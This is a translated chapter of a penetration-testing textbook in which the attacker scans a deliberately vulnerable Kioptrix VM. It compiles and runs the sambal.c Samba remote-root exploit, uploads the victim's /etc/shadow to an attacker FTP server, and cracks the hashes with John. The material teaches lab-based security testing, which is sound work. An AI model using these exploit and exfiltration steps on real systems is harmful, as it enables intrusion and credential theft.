  • 验证缓解控制实际上...缓解:与盲目接受理论缓解控制实际上有效不同,全面利用渗透测试使管理层能够证明安全措施正在按预期工作。

  • 发现安全架构中容易被忽视的漏洞:受保护环境的管理员可能错误地认为,他们所拥有的各种安全层保护了机密数据的保密性、完整性和可用性。不幸的是,所有这些安全措施都存在使事情变得更加复杂的固有风险,从而为攻击者利用漏洞引入了新的可能性。完全利用渗透测试验证了网络中是否存在未知的安全漏洞。

进行全面渗透测试对企业可能有许多其他有用之处(除了可以勾选复选框的事实)。在与企业所有者或经理会面时,试着了解对他们的底线来说什么是重要的,并尝试确定你的技能和服务如何适应其中。

目标实践-添加 Kioptrix 虚拟机

渗透测试是一项需要练习才能做到完美的技能。为了鼓励本章节中材料的吸收,我们将添加一个有意地易受攻击的 Linux 发行版,由 Steven McElrea(又名 loneferret)和 Richard Dinelle(又名 haken29a)的www.kioptrix.com团队提供。前往www.kioptrix.com网站,选择你喜欢的语言,然后点击页面右侧的Kioptrix VM Level 1链接。

目标实践-添加 Kioptrix 虚拟机

一旦下载完成并将文件提取到所选文件夹中,我们将需要在我们的 Oracle VirtualBox 渗透测试实验室中创建一个新的虚拟机,并指示它使用我们已下载的虚拟机:

  • 名称:Kioptrix VM Level 1

  • 操作系统类型:其他 Linux

  • 内存:256

  • 启动磁盘:Kioptrix Level 1.vmdk(正常,3.00 GB)

确保选择使用现有硬盘选项:

目标实践-添加 Kioptrix 虚拟机

一旦进程成功完成,您应该验证您的设置是否与以下匹配:

目标实践-添加 Kioptrix 虚拟机

尽管我们将讨论一些复杂的方法和技术,但最好使用简单的机制来真正理解我们的利用是如何工作的。通过消除复杂性,我们可以专注于教训而不是耗时的故障排除。

提示

Kioptrix Level 1 虚拟机将从您的 DHCP 服务器获取 IP 地址。如果您尚未这样做,可以启用预先安装在 Oracle 虚拟盒中的内置 DHCP 服务器。您可以使用位于 Oracle 虚拟盒中的命令行 VBoxManage 工具进行配置。以下是dhcpserver add 命令的示例:

VBoxManage dhcpserver add netname Wlan1 ip 192.168.75.100 netmask 255.255.255.0 lowerip 192.168.75.101 upperip 192.168.75.150 enable

前面的命令将导致虚拟盒为连接到Wlan1网络的网络适配器提供 DHCP 服务。任何在内部网络Wlan1上请求 IP 的系统都将在192.168.75.101192.168.75.150之间接收一个地址。

注意:在 OSX 上,该命令将需要为每个使用的选项使用双划线。

有关 VboxManage 工具的更详细描述,请访问:www.virtualbox.org/manual/ch08.html

要跟随本章中的许多示例,您需要启动并运行 Kioptrix。启动 VirtualBox,将 Kioptrix 和 Backtrack Tester 1 会话的网络适配器指向 Wlan1,并启动两者。现在是时候回顾一些基本的利用方法了。

注意

使用dhclient <interface name>命令来获取 BackTrack 机器的 DHCP 地址。例如:dhclient int0

手动利用

在这一点上,我们应该在我们的虚拟环境中准备好两个系统:我们的 Kioptrix Level 1 机器将是我们的目标,我们的 BackTrack 机器将扮演攻击者的角色。在我们开始利用之前,我们需要确定我们的攻击计划。

手动利用

枚举服务

我们将首先使用nmap在我们的网络上找到机器。打开一个新的终端会话并键入:

nmap -f -n -P0 -v -p- -T4 192.168.75.0/24 

我们已经指示nmap使用分段数据包扫描 192.168.75.X 上的所有 TCP 端口的 IP。以下是结果的摘录:

Scanning 192.168.75.14 [65535 ports]
Discovered open port 139/tcp on 192.168.75.14
Discovered open port 80/tcp on 192.168.75.14
Discovered open port 22/tcp on 192.168.75.14
Discovered open port 443/tcp on 192.168.75.14
Discovered open port 111/tcp on 192.168.75.14
Discovered open port 32768/tcp on 192.168.75.14
Completed SYN Stealth Scan at 10:24, 8.05s elapsed (65535 total ports)
Nmap scan report for 192.168.75.14
Host is up (0.00017s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
443/tcp open https
32768/tcp open filenet-tms
MAC Address: 08:00:27:21:21:62 (Cadmus Computer Systems)
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 256 IP addresses (3 hosts up) scanned in 202.60 seconds
Raw packets sent: 262797 (11.555MB) | Rcvd: 131203 (5.249MB)

看一下突出显示的部分。您会注意到我们的目标机器有几个开放的 TCP 端口22、80、111、139、44332768

现在我们知道系统已经启动,并且结果表明有多个服务正在运行,我们有很多选择。我们可以使用netcat或其他类似的程序手动探测这些端口,以获取更多信息并可能获取一些横幅,或者我们可以开始对目标机器进行更彻底的扫描。

使用 Unicornscan 进行快速扫描

请记住,在选择工具时有许多可用的选项可供考虑。Unicorn scan 是一个非常快速的扫描程序,可以快速为我们扫描虚拟实验室。如果您的 Backtrack 版本没有安装 unicornscan,请在尝试以下示例之前使用以下命令语法:apt-get install Unicornscan

提示

在 BackTrack 5 R1 中,您必须将GeoIP.dat文件复制到您的etc目录以避免错误。您可以执行以下命令来解决错误:

cp /usr/share/GeoIP/GeoIP.dat /usr/local/etc/ unicornscan/ 

以下命令将在192.168.75.0/24段上扫描所有 TCP 端口(-mT是默认扫描类型),使用每秒500个数据包(-r500)。我们已经指示命令在接收到信息时提供给我们信息(使用-I选项):

# unicornscan -mT -r500 -I 192.168.75.0/24 

这将导致以下结果:

TCP open 192.168.75.14:32768 ttl 64
TCP open 192.168.75.14:22 ttl 64
TCP open 192.168.75.14:443 ttl 64
TCP open 192.168.75.14:139 ttl 64
TCP open 192.168.75.14:80 ttl 64
TCP open 192.168.75.2:80 ttl 64
TCP open 192.168.75.2:53 ttl 64
TCP open 192.168.75.14:111 ttl 64
TCP open domain[ 53] from 192.168.75.2 ttl 64
TCP open http[ 80] from 192.168.75.2 ttl 64
TCP open ssh[ 22] from 192.168.75.14 ttl 64
TCP open http[ 80] from 192.168.75.14 ttl 64
TCP open sunrpc[ 111] from 192.168.75.14 ttl 64
TCP open netbios-ssn[ 139] from 192.168.75.14 ttl 64
TCP open https[ 443] from 192.168.75.14 ttl 64
TCP open filenet-tms[32768] from 192.168.75.14 ttl 64 

我们还可以扫描开放的 UDP 端口,以完整地了解情况:

# unicornscan -mU -r500 -I 192.168.75.0/24 

在特定虚拟网络上会得到以下输出(您的扫描结果将根据当前实验室设置而变化):

UDP open 192.168.75.2:53 ttl 64
UDP open 192.168.75.255:53 ttl 64
UDP open 192.168.75.2:161 ttl 64
UDP open 192.168.75.14:32768 ttl 64
UDP open 192.168.75.14:137 ttl 64
UDP open 192.168.75.14:111 ttl 64
UDP open domain[ 53] from 192.168.75.2 ttl 64
UDP open snmp[ 161] from 192.168.75.2 ttl 64
UDP open sunrpc[ 111] from 192.168.75.14 ttl 64
UDP open netbios-ns[ 137] from 192.168.75.14 ttl 64
UDP open filenet-tms[32768] from 192.168.75.14 ttl 64 
UDP open domain[ 53] from 192.168.75.255 ttl 64

仔细审查前面输出的突出显示结果。这些信息将用于确定针对目标系统执行哪些攻击。

使用 Nmap 进行完整扫描

现在我们知道将要针对哪个系统进行攻击,让我们看看有针对性的nmap扫描会为我们提供什么:

# nmap -n -sTUV -pT:22,80,111,139,443,32768,U:111,137,32768 192.168.75.14 

在这里,我们决定对我们的开放端口进行 UDP 和 TCP 扫描,以确定它们的状态。我们使用-sTUV开关通知 nmap 我们正在寻找 UDP 和 TCP,并提供软件版本;然后使用-p选项指定要扫描的端口范围。U:表示端口是 UDP。以下是输出:

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-11-13 11:27 EST
Nmap scan report for 192.168.75.14
Host is up (0.00089s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp open rpcbind
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
32768/tcp open rpcbind
111/udp open rpcbind
137/udp open netbios-ns Microsoft Windows XP netbios-ssn
32768/udp open rpcbind
MAC Address: 08:00:27:21:21:62 (Cadmus Computer Systems)
Service Info: Host: KIOPTRIX; OS: Windows
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.14 seconds

现在我们有了可以使用的信息。我们知道哪些端口是开放的,也大致知道哪些服务正在运行。

注意

注意到 OS: Windows 的结果表明这是一台 Windows 机器,但实际上并不是。审查所有数据以做出这些判断非常重要,不要仅仅依赖于一个结果。

如果您审查结果,可能会注意到此机器上运行着许多过时的服务。我们将利用这一事实,并使用常见的已知漏洞来破坏该单位。我们可能需要手动验证这些结果。现在我们尝试抓取一些横幅,看看我们正在处理什么。

使用 Netcat 和 Ncat 进行横幅抓取

Netcat 是一个非常强大的工具,可以在枚举和利用阶段使用,甚至可以用于文件传输或创建后门。我们还将 Netcat 与 Ncat 进行比较,后者是 Nmap 团队提供的工具之一。

使用 Netcat 进行横幅抓取

为了连接到192.168.75.14上的端口80,我们可以使用以下命令:

# nc 192.168.75.14 80 

这将连接我们到 Kioptrix 机器上的 Web 服务器。我们需要调用一个命令来接收信息输出。输入:

HEAD / HTTP 1.1 

Enter键两次并查看输出:

HTTP/1.1 200 OK
Date: Fri, 11 Nov 2011 21:19:49 GMT
Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
Last-Modified: Thu, 06 Sep 2001 03:12:46 GMT
ETag: "8805-b4a-3b96e9ae"
Accept-Ranges: bytes
Content-Length: 2890
Connection: close
Content-Type: text/html

这看起来很熟悉。我们已经讨论过 HTTP 标头的好处;上面的信息表明该机器正在运行 Apache 1.3.20,RedHat Linux,使用mod_ssl版本 2.8.4 和OpenSSL版本 0.9.6b。

注意

在测试过程中记录任何操作是一个好习惯。这将帮助您在将来与客户的交谈中,并且还可以轻松地在以后复制您的测试。

这个过程也可以继续进行其他端口。

使用 Ncat 进行横幅抓取

Ncat 也可以用于抓取http横幅。操作方法如下:

# ncat 192.168.75.14 80 

Ncat 使用与 Netcat 相同的语法进行连接。输入以下内容并按Enter键两次:

HEAD / HTTP 1.1 

我们得到以下输出:

HTTP/1.1 200 OK
Date: Fri, 11 Nov 2011 21:50:53 GMT
Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
Last-Modified: Thu, 06 Sep 2001 03:12:46 GMT
ETag: "8805-b4a-3b96e9ae"
Accept-Ranges: bytes
Content-Length: 2890
Connection: close
Content-Type: text/html

google.com上快速搜索mod_ssl/2.8.4会显示存在我们可以利用的漏洞。

使用 smbclient 进行横幅抓取

一个特别有趣的端口是 139/TCP。使用smbclient工具,我们可以抓取此服务器的横幅。让我们试一试:

# smbclient -L 192.168.75.14 -N 

此命令调用smbclient并指示它连接到192.168.75.14,然后显示服务器信息。-N开关表示我们没有此连接的根密码。结果如下:

Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
Sharename Type Comment
--------- ---- -------
cli_rpc_pipe_open_noauth: rpc_pipe_bind for pipe \srvsvc failed with error ERRnosupport
IPC$ IPC IPC Service (Samba Server)
ADMIN$ Disk IPC Service (Samba Server)
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a] 
Server Comment
--------- -------
KIOPTRIX Samba Server
Workgroup Master
--------- -------
MYGROUP KIOPTRIX

注意Samba版本是2.2.1a。我们将使用这些信息搜索此服务的任何已知漏洞。

搜索 Exploit-DB

Exploit-DB.com上,您将能够找到关于已知漏洞和验证其有效性的概念代码的丰富信息。使用提供的概念代码可以帮助您确定您的特定软件是否容易受到这些攻击。概念代码还提供了一种理解个别漏洞的基本原理的机制,从而使您能够确保您的缓解控制是否正常运行。Exploit-DB.com团队花费了很多个人时间来确保提交的概念代码实际上按照描述的方式工作。

注意

如果您正在尝试从受限的虚拟实验室内访问此网站,您需要确保您的 BackTrack 盒子上设置了允许这样做的网络适配器。然而,建议您不要以任何方式将您的实验室连接到互联网。有几种安全的方法可以将文件传输到您的虚拟机——试试看!

让我们搜索与 Samba 版本 2.2.1a 相关的漏洞。

  1. 转到www.exploit-db.com

  2. 点击顶部导航栏中的“搜索”。搜索 Exploit-DB

  3. 一旦进入搜索页面,在描述:字段中键入Samba

  4. 端口:字段中键入139

  5. 点击搜索按钮。搜索 Exploit-DB

如果有任何结果,您将看到与您的搜索匹配的漏洞列表。我们需要查看这些结果,看看是否有任何看起来适合我们需求的。

手头的 Exploit-DB

使用 BackTrack 的一个非常棒的方面是,团队自动包括exploit-db.com数据库的本地副本作为分发的一部分。您可以通过转到/pentest/exploits/exploitdb并使用./searchsploit命令后跟搜索词来搜索此列表。

# ./searchsploit samba 

这将产生以下输出:

Description Path
------------------------------------------------------------- Samba 2.2.x Remote Root Buffer Overflow Exploit /linux/remote/7.pl
Samba 2.2.8 Remote Root Exploit - sambal.c /linux/remote/10.c 
Samba 2.2.8 (Bruteforce Method) Remote Root Exploit /linux/remote/55.c
MS Windows XP/2003 Samba Share Resource Exhaustion Exploit /windows/dos/148.sh
Samba <= 3.0.4 SWAT Authorization Buffer Overflow Exploit /linux/remote/364.pl
Sambar FTP Server 6.4 (SIZE) Remote Denial of Service Exploit /windows/dos/2934.php
GoSamba 1.0.1 (include_path) Multiple RFI Vulnerabilities /php/webapps/4575.txt
Samba 3.0.27a send_mailslot() Remote Buffer Overflow PoC /linux/dos/4732.c
Samba (client) receive_smb_raw() Buffer Overflow Vulnerability PoC /multiple/dos/5712.pl
Samba (client) receive_smb_raw() Buffer Overflow Vulnerability PoC /multiple/dos/5712.pl
Samba < 3.0.20 Remote Heap Overflow Exploit (oldie but goodie) /linux/remote/7701.txt
Samba 2.2.0 - 2.2.8 trans2open Overflow (OS X) /osX/remote/9924.rb
Samba 2.2.x nttrans Overflow /linux/remote/9936.rb
Samba 3.0.21-3.0.24 LSA trans names Heap Overflow /linux/remote/9950.rb
Samba 3.0.10 - 3.3.5 Format String And Security Bypass Vulnerabilities /multiple/remote/10095.txt
Samba Multiple DoS Vulnerabilities /linux/dos/12588.txt
Samba ""username map script"" Command Execution /unix/remote/16320.rb
Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow /linux/remote/16321.rb
Samba lsa_io_trans_names Heap Overflow /solaris/remote/16329.rb
Samba trans2open Overflow (Solaris SPARC) /solaris/sparc/remote/16330.rb
Sambar 6 Search Results Buffer Overflow /windows/remote/16756.rb
Samba lsa_io_trans_names Heap Overflow /linux/remote/16859.rb
Samba chain_reply Memory Corruption (Linux x86) /linux/remote/16860.rb
Samba trans2open Overflow (Linux x86) /linux/remote/16861.rb
Samba lsa_io_trans_names Heap Overflow /osX/remote/16875.rb
Samba trans2open Overflow (Mac OS X PPC) /os-x/ppc/remote/16876.rb
Samba trans2open Overflow (*BSD x86) /linux/remote/16880.rb

我们将尝试使用 C 语言编写的Samba 2.2.8 远程根漏洞利用 - sambal.c,位于/linux/remote/10.c。这种特定的利用是使用 C 语言编写的,因此在使用之前必须进行编译。

# cp /pentest/exploits/exploitdb/platforms/linux/remote/10.c /root/10.c 

这个命令将文件复制到我们选择的目录,本例中是/root,这样更容易处理。有时文件可能会立即编译;在这种情况下,您可以简单地运行以下命令并继续进行下一阶段。

注意

要小心!

您必须理解正在编译的代码。在这一点上,我们正在针对受限的实验室环境进行测试,但是当到达在连接到外部世界的环境中执行这些任务的时候,代码既干净又来自可信任的来源是至关重要的。在尝试针对他人网络运行之前,您应该了解利用代码的每个阶段。许多人认为最好的方法是为手动利用创建自己的 shellcode,这样您就会准确知道运行时会发生什么。在将这种类型的代码投入实时生产之前,在自己的受控虚拟环境中对其进行单元测试,以充分了解您正在运行的代码的影响,特别是如果您选择的利用包括 shellcode 的话。

编译代码

在这里,我们将尝试在审查代码后不做任何修改地编译 10.c。这里执行的步骤对使用 C 语言编写的每种类型的利用代码都是相似的。

# vim 10.c 

审查此代码。滚动查看它,看看您是否能理解当运行此代码时会发生什么。

提示

如果您不熟悉 VIM,有几个网站提供了对这个复杂而强大工具的很好的评论。Packt Publishing 还提供了购买《Hacking VIM 7.2》,如果您想以简洁、实用的方式更多地了解它。现在,当您在 VIM 中时,您可以使用:q退出返回到 shell 提示符。

编译代码

编译概念代码

代码审查完毕后,尝试编译它。使用:q命令序列退出 VIM,并在命令提示符下输入以下内容:

# gcc 10.c -o SambaVuln10 

我们正在调用 GCC 编译器,并将我们的 10.c 源代码文件输入并输出到文件SambaVuln。如果一切按计划进行,你将不会收到任何反馈,命令提示符将显示出来。

注意

有人认为编译概念验证利用的难度会减少脚本小子的数量,因为他们缺乏排除代码错误的技能。

一些安全研究人员甚至会故意添加错误,比如拼写错误,以阻止脚本小子将概念验证代码用于恶意用途。

如果你在编译过程中遇到任何问题,你需要仔细检查代码并解决问题,直到它能够正确编译。

代码故障排除

你可能会遇到的错误类型包括代码的注释不当、额外字符、无效格式或者甚至是故意输入的无效代码,以使新手编译更加困难。

让我们看一下在使用代码库中的代码时似乎经常出现的一个常见问题。

所有这些^M 字符是什么,为什么它们不会消失?

你可能会查看你的代码,意识到你有一些(或者很多!)不需要的字符,比如^M,不管你怎么努力,它们就是不会消失。你可以使用 VIM 来解决这个问题,方法是在 VIM 中打开你的有问题的文件,然后输入:%s/,按下Ctrl + V,然后Ctrl + M,接着输入//g,结果如下。

:%s/^M//g

然后按Enter。这指示 VIM 删除整个文件中所有^M的出现(%s)。以下是我们将使用此命令删除的示例:

所有这些^M 字符是什么,为什么它们不会消失?

破碎的字符串-重聚

有时代码的格式可能不正确。重要的是要注意,这将使 GCC 处理变得非常困难。仔细检查代码,确保一切都是应该的。

破碎的字符串-重聚

代码审查并纠正错误后,尝试再次编译,直到没有更多错误为止。

运行利用

希望前面的步骤相当轻松;清理别人提供的代码可能是一个繁琐的过程。如果利用代码编译正常,我们可以简单地执行它,看看还需要什么其他输入:

# ./SambaVuln10 

这个命令的输出如下:

samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
Usage: ./SambaVuln10 [-bBcCdfprsStv] [host]
-b <platform> bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)
-B <step> bruteforce steps (default = 300)
-c <ip address> connectback ip address
-C <max childs> max childs for scan/bruteforce mode (default = 40)
-d <delay> bruteforce/scanmode delay in micro seconds (default = 100000)
-f force
-p <port> port to attack (default = 139)
-r <ret> return address
-s scan mode (random)
-S <network> scan mode
-t <type> presets (0 for a list)
-v verbose mode

我们已经对我们的目标机器有了几个关键信息,包括它很可能在运行 Linux,并且 IP 地址是 192.168.75.14。让我们使用利用的扫描模式,看看我们是否遗漏了什么有趣的东西:

./SambaVuln10 -v -d 0 -S 192.168.75 

Samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Scan mode.
+ Verbose mode.
+ [192.168.75.14] Samba

我们可以看到我们的目标机器是通过eSDeewww.netric.org上的概念验证远程根漏洞利用发现的。现在我们将继续,最终利用这台机器。

# ./SambaVuln10 -b 0 -v 192.168.75.14 

我们调用SambaVuln10文件;让它知道目标系统是 Linux,并提供指令来显示详细结果。输出如下:

samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Verbose mode.
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Using ret: [0xbffffed4]
+ Using ret: [0xbffffda8]
+ Using ret: [0xbffffc7c]
+ Using ret: [0xbffffb50]
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)

如果你是新手渗透测试,这个输出可能有点令人困惑。你刚刚成功获得了目标机器的 root 权限,此时你可以开始许多通常需要的后期利用步骤,以在网络中获得一个良好的立足点。你会注意到一些命令不起作用,而一些命令起作用。尝试以下操作:

# ls 

嗯...什么都没发生。也许你实际上没有获得 root 权限?让我们尝试一些不同的东西。

# cd /
# ls

这更像样了!现在你应该看到/的完整目录列表。

bin
boot
dead.letter
dev
etc
home
initrd
lib
lost+found
misc
mnt
opt
proc
root
sbin
tmp
usr
var

此时有许多其他命令可以使用,还有一些后期利用的技巧,我们将专门为此撰写一整章。在我们继续之前,我们将进行一次检查,看看这台机器上是否有什么有趣的东西:

您在这台机器上是谁?

whoami 

root

我连接到哪个系统?

hostname 

kioptrix.level1

lastlog 

谁登录到这个系统以及何时?

Username Port From Latest
root pts/0 192.168.1.200 Mon Oct 12 07:27:46 -0400 2009
bin **Never logged in**
daemon **Never logged in**
adm **Never logged in**
lp **Never logged in**
sync **Never logged in**
shutdown **Never logged in**
halt **Never logged in**
mail **Never logged in**
news **Never logged in**
uucp **Never logged in**
operator **Never logged in**
games **Never logged in**
gopher **Never logged in**
ftp **Never logged in**
nobody **Never logged in**
mailnull **Never logged in**
rpm **Never logged in**
xfs **Never logged in**
rpc **Never logged in**
rpcuser **Never logged in**
nfsnobody **Never logged in**
nscd **Never logged in**
ident **Never logged in**
radvd **Never logged in**
postgres **Never logged in**
apache **Never logged in**
squid **Never logged in**
pcap **Never logged in**
john pts/0 192.168.1.100 Sat Sep 26 11:32:02 -0400 2009
harold **Never logged in**

您可能已经知道,攻击者可以通过运行这个简单的概念验证代码在这台机器上获取 root 权限的事实是一个重大问题。您应该建议您的客户将所有已安装的软件更新到可能的最新版本,以避免这样简单的妥协。

从受害机器获取文件

在远程机器上获取 root 权限可能会很有趣,绝对是朝着正确方向迈出的重要一步(取决于您的范围和测试目的,这可能是唯一必要的步骤)。如果您的任务尚未完成,那么您需要找到传输数据到受害机器和从受害机器传输数据的方法。有几种工具可以帮助完成这项任务;以下是一些可能会让您的生活更轻松的工具。

在 BackTrack 5 上安装和启动 TFTP 服务器

TFTP 有时可能非常方便。许多系统已经安装了 TFTP 客户端,并且使用这种协议快速而简单。

# apt-get install atftpd 

注意

确保在安装过程中您的 BackTrack 机器已连接到互联网。要熟悉atftpd服务器,请在命令提示符中键入atftpd,而不需要任何其他输入。

通过键入以下内容,可以将 TFTP 作为独立守护程序启动,指向标准端口上的/tmp,并绑定到 IP 地址192.168.75.12

# atftpd --daemon --port 69 --bind-address 192.168.75.12 /tmp 

您可以通过调用 netstat 并使用 69 进行 grep 来检查守护程序是否正确启动。

# netstat -anu |grep 69 

如果一切都正确启动,您应该看到类似于以下内容:

udp 0 0 192.168.75.12:69 0.0.0.0:*

安装和配置 pure-ftpd

如果您的 BackTrack 版本没有安装 pure-ftpd,则可以使用apt-get install pure-ftpd命令进行安装。为了完全使用 pure-ftpd 的功能,您需要在使用之前添加用户并进行其他较小的配置更改。

# echo /etc/pure-ftpd/pureftpd.pdb > PureDB 

/etc/pure-ftpd/pureftpd.pdb添加到PureDB配置文件中:

# ln -s /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/50pure 

创建一个符号链接到50pure文件:

# groupadd -g 7777 ftpz 

向 BackTrack 客户机添加一个组:

# useradd -u 7777 -s /bin/false -d /dev/null -c "pureFTP" -g ftpz Testerz 

创建将要使用的文件夹:

# mkdir /var/ftp /var/ftp/public /var/ftp/public/ftplogin 

修改所有权:

# chown -R Testerz:ftpz /var/ftp/public/ftplogin 

将帐户添加到系统:

# pure-pw useradd ftplogin -u Testerz -d /var/ftp/public/ftplogin 

Password: password
Enter it again: password

设置一个可以与 FTP 连接一起使用的虚拟帐户:

# pure-pw mkdb 

重新加载数据库:

# pure-pw show ftplogin 

在 Pure-FTP 数据库中进行快速查找,以了解用户统计信息。

Login : ftplogin
Password : $1$/NF5jAg0$I0oRJKViA5NYs455Afelr1
UID : 7777 (Testerz)
GID : 7777 (ftpz)
Directory : /var/ftp/public/./
Full name :
Download bandwidth : 0 Kb (unlimited)
Upload bandwidth : 0 Kb (unlimited)
Max files : 0 (unlimited)
Max size : 0 Mb (unlimited)
Ratio : 0:0 (unlimited:unlimited)
Allowed local IPs :
Denied local IPs :
Allowed client IPs :
Denied client IPs :
Time restrictions : 0000-0000 (unlimited)
Max sim sessions : 0 (unlimited)

启动 pure-ftpd

以下命令将启动pure-ftpd:

#/etc/init.d/pure-ftpd start 

您将看到以下输出:

Starting ftp server: Running: /usr/sbin/pure-ftpd -l pam -8 UTF-8 -E -u 1000 -O clf:/var/log/pure-ftpd/transfer.log -B

可以通过连接到 localhost 来测试该服务器:

# ftp 127.0.0.1 

输出应该类似于以下内容:

Connected to 192.168.75.12.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 17:02\. Server port: 21.
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Name (192.168.75.12:root): ftplogin
331 User ftplogin OK. Password required
Password:
230-User ftplogin has group access to: 7777
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

注意

生产环境与受控测试实验室环境之间的区别:考虑在您的生产 BackTrack 实例上设置一个专用用户帐户和适当的安全措施。确保为 FTP 帐户提供必要的写入文件权限,否则,当从受害机器进行这些尝试时,预计会收到错误。

密码:您知道的东西…

在当今这个时代,人们可能会认为所有系统都使用多因素身份验证。不幸的是,情况并非如此。即使所谓的“安全网络”仍在使用发送明文密码的协议,系统仍在使用不安全的加密协议等。每个渗透测试人员都应该尝试掌握的一项基本技能(就像下棋一样:学起来容易,精通起来难)是密码破解的艺术。我们将从一些简单的例子开始,以巩固这个概念,然后转向该领域最优秀人员使用的一些策略。

破解哈希

繁忙的用户甚至管理员经常重复使用密码。无论网络上的系统有多重要,一旦您获得了密码哈希值,它们应立即被破解并添加到您已经放置的任何字典文件中。这可能会节省大量时间。

首先,我们需要从受害者机器中提取一些文件。启动您的 BackTrack Tester 1 和 Kioptrix Level 1 虚拟机,运行您之前编译的漏洞利用程序,并将passwd文件下载下来,以便我们可以对其运行 Jack。

  1. 在实验室中启动所有必要的虚拟设备(BackTrack Tester 1,Kioptrix)。

  2. 运行./SambaVuln_10 -b 0 192.168.75.14

  3. 您现在已连接为kioptrix.level1上的 root 用户。

  4. 在您的 BackTrack 虚拟机上打开一个新的终端会话,并启动pure-ftpd

  5. 在连接到 Kioptrix 机器的 shell 中,使用 FTP 连接到 BackTrack 机器上的 FTP 服务器:

cd /etc

  • 转到/ etc 目录。请记住,您将无法从受害者机器上获得太多反馈。
ls

  • 您应该看到 Kioptrix /etc 目录的目录列表。
ftp 192.168.75.12 

  • 在 BackTrack 机器上的 FTP 服务器上输入我们创建的用户名(ftplogin)。
Password: password 

  • 输入 FTP 服务器帐户的密码。等待片刻,然后输入:
put shadow 

  • 等待片刻,然后输入:
ls
exit

  • 您应该看到目标 FTP 站点的目录列表。
  1. CTRL + Q将使您退出 Kioptrix 机器。

注意

您也可以简单地执行cat shadow并使用鼠标复制屏幕输出。然而,了解如何从目标机器中提取文件非常重要,特别是如果文件非常大的话。

现在我们在 BackTrack 机器上有了 shadow 文件,让我们看看我们能做些什么。

# cd /pentest/passwords/john 

一旦我们浏览到正确的目录,我们就可以针对我们的 Kioptrix shadow 文件启动 john:

# john /var/public/shadow 

John 将开始尝试对 MD5 密码进行暴力破解。

Loaded 3 password hashes with 3 different salts (FreeBSD MD5 [32/64 X2])

注意

如果您幸运或极其耐心,您将获得目标机器的未加密密码。根据密码复杂性和系统速度的组合,此步骤可能需要从几分钟到几周不等的时间。有第三方服务可用于破解密码,但在使用这些服务时必须在您的规则中明确允许,因为您将失去对发送到第三方的任何数据的控制。

暴力破解密码

暴力破解仍然是一种非常可行的获得对机器访问权限的方法。密码的问题在于人们必须能够随时记住它们。试图记住 233!sdsfF_DaswsaWlsc!!&$#_ 对大多数人来说可能会很困难,因此我们最终会得到一个常用密码的短列表,如 ILoveKellie1!。这个问题在于有几种方法可以缩小可能密码列表的范围,并且当前的计算机在家用台式机上拥有多达 8 个处理器核心。

提示

密码破解可以通过使用多个视频卡和它们的 GPU 来完成。如果资源可用,这是首选方法。

尽管密码 ILoveKellie1!符合许多强制密码策略,但您可以轻松地制作一个密码列表,附加某些常用字符,如!,1,2 等等,通过阅读本书的开头,您将能够确定我的配偶的名字是 Kellie。如果您在创建您的单词列表时聪明地使用常用术语,如 ILove,Iam 等,那么其他部分将变得微不足道。现代密码暴力破解技术将在短短片刻内破解此密码。这使得破解密码变得比以往更快更容易。在这里,我们将看一些暴力破解这些密码的方法。

注意

请注意,本书中使用的许多示例都经过简化,以使概念更容易学习。一旦您理解了这些概念,您将能够在实际网络上执行相同的技术。

THC Hydra

THC Hydra 使检查弱密码的任务变得有趣。它是根据 GPLv3 发布的,并由 THC 团队不断更新。有关该产品的更新信息可以通过浏览www.thc.org/thc-hydra/找到。

注意

THC Hydra 目前支持 40 多种服务,包括 FTP、MySQL、POP3、SSH2、VNC 等等。

我们将启动我们的虚拟实验室,并开始使用包含在 BackTrack 5 中的 THC Hydra。让我们连接到 Kioptrix 机器并创建一个帐户,以便我们可以看到 Hydra 在查找密码时的表现。在 BackTrack 机器上加载我们之前使用的 Samba 漏洞利用程序:

# ./SambaVuln_10 -b 0 192.168.75.14 

连接后,输入以下内容以更改harold帐户的密码:

passwd Harold
New password: lotsOfPasswords
Retype new passwords: lotsOfPasswords 

与许多工具一样,确定语法的最快方法是在没有任何额外输入的情况下调用程序。

# hydra 

命令语法将显示在输出中:

Hydra v7.0 (c)2011 by van Hauser/THC & David Maciejak - for legal purposes only
